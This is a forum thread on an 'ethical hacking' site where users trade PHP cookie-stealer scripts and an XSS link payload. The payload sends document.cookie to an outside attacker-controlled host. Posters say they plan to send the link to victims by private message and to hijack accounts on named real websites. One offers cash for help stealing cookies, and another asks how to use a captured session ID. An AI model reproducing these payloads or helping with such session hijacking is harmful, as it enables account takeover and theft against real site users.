Go4Expert (http://www.go4expert.com/)
-   Ethical hacking Tips (http://www.go4expert.com/articles/ethical-hacking-tutorials/)
-   -   Stealing Cookie With XSS (http://www.go4expert.com/articles/stealing-cookie-xss-t17066/)

shadowman32 27Jun2010 02:34

Re: Stealing Cookie With XSS
i have changed the host but stil dosent work...i get something like this

HTML Code:

IP: | PORT: 25710 | HOST:  |  Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/ Safari/532.5 | METHOD:  | REF: h t t p ://extra-ratie.hi2.ro/ |  DATE: Saturday 26th 2010f June 2010 11:54:17 PM | COOKIE:  cookie=
the script dosent "steal" the cookie...

Can someone give me a good script?...i want to send the link that victim will acces via PM.

m93 29Jun2010 15:45

Re: Stealing Cookie With XSS
this code is completely out of work!!! it didnt work for me. i think its better to forget about stealing cookie..i couldnt find useful codes anywhere

shadowman32 30Jun2010 13:31

Re: Stealing Cookie With XSS
i will keep searching until i will found a good XSS cookie stealer script...and i will post it here when i will found it.

thanks for help

rayjay 12Jan2011 08:29

Re: Stealing Cookie With XSS
for example if i put this cod as a index page

<a href="javascript:void(document.location='h t t p://tefutingat.net23.net/steal/steal.php?cookie='+
document.cookie)">Click Me</a>

and then send a pm to the victim to acces the link tefutingat.net23.net/steal the script will work? note that the script will open the index page and when the victim click click me the script will do his job

i guess i do something wrong because none of them works. below are the stealer script that i use:
HTML Code:

$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");

HTML Code:


function GetIP()
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) &&  $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],  "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
        $ip = "unknown";

function logData()
    $cookie = $_SERVER['QUERY_STRING'];
    $register_globals = (bool) ini_get('register_gobals');
    if ($register_globals) $ip = getenv('REMOTE_ADDR');
    else $ip = GetIP();

    $rem_port = $_SERVER['REMOTE_PORT'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $rqst_method = $_SERVER['METHOD'];
    $rem_host = $_SERVER['REMOTE_HOST'];
    $referer = $_SERVER['HTTP_REFERER'];
    $date=date ("l dS of F Y h:i:s A");
    $log=fopen("$ipLog", "a+");

    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : }  $date | COOKIE:  $cookie <br>");
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE:  $date | COOKIE:  $cookie \n\n");


echo '<b>Page Under Construction</b>'


HTML Code:

$cookie = $_GET['c'];
$ip = getenv (‘REMOTE_ADDR’);
$date=date(“j F, Y, g:i a”);;
$referer=getenv (‘HTTP_REFERER’);
$fp = fopen(‘cookies.html’, ‘a’);
fwrite($fp, ‘Cookie: ‘.$cookie.’<br>
IP: ‘ .$ip. ‘<br> Date  and Time: ‘ .$date. ‘<br> Referer:  ‘.$referer.’<br><br><br>’);
header (“Location:TechMafias”);

Please help me...my account on a web site was stolen and i want to get it back.

rayjay 12Jan2011 08:30

Re: Stealing Cookie With XSS
Does anybody know where my code doesn't work? It displays everything but the cookie. The site is kind of trick but it allows [img][/img] and .. which translates into html code as <img src=""></img> and <a href=""></a>.


HTML Code:

$cookie =$HTTP_GET_VARS["cookie"];
$date = date ("l ds of F Y h:i:s A");
$file = fopen('log.txt', 'a');
fwrite($file,"DATE : $date || IP: $ip || COOKIE : $cookie \n");

I've tried many different modifications on the site. For example,

rayjay 12Jan2011 08:33

Re: Stealing Cookie With XSS
I can't understand how this forum works properly lol. The website is crossfire.nu is that helps anybody. Posts are done via UBBcode. I hope somebody can help.

Indianman, tenu punjabi aandi ah?

rayjay 12Jan2011 08:44

Re: Stealing Cookie With XSS
So if somebody can tell me the problem it would be really nice .. anybody that is willing to help me and can help me steal cookies of this site will receive a cash reward aswell :P

marehotz 28Feb2011 20:18

Re: Stealing Cookie With XSS
admin , i want to hack a lineage 2 website and log as administrator . Is that possible? pls reply


Mr.sp41t3r 18May2011 18:14

Re: Stealing Cookie With XSS
thank you

nikita 13Dec2012 16:42

Re: Stealing Cookie With XSS
sir my log.txt file contains only JSESSIONID=some value;

can u pls tell me what to do with JSESSIONID.

All times are GMT +5.5. The time now is 10:52.